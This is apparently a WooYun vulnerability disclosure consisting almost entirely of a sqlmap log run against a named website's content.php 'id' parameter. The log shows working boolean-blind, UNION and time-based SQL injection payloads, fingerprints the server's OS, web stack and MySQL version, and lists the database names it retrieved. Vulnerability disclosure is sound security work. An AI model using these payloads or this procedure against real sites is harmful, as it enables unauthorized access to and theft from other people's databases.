WooYun.org

注入地址:http://www.barcodebm.com/content.php?id=213
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 34 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=213 AND 1630=1630
    Type: UNION query
    Title: MySQL UNION query (NULL) - 12 columns
    Payload: id=-3889 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x3a6771753a,0x7464
6b564d4344535462,0x3a6a70693a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=213 AND SLEEP(5)
---
[19:34:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[19:34:12] [INFO] fetching database names
[19:34:12] [INFO] the SQL query used returns 2 entries
[19:34:13] [INFO] retrieved: "information_schema"
[19:34:14] [INFO] retrieved: "bangma"
available databases [2]:
[*] bangma
[*] information_schema
[19:34:14] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:34:14] [INFO] fetched data logged to text files under 'Z:\Hacker Tools\????\
????\sqlmap\output\www.barcodebm.com'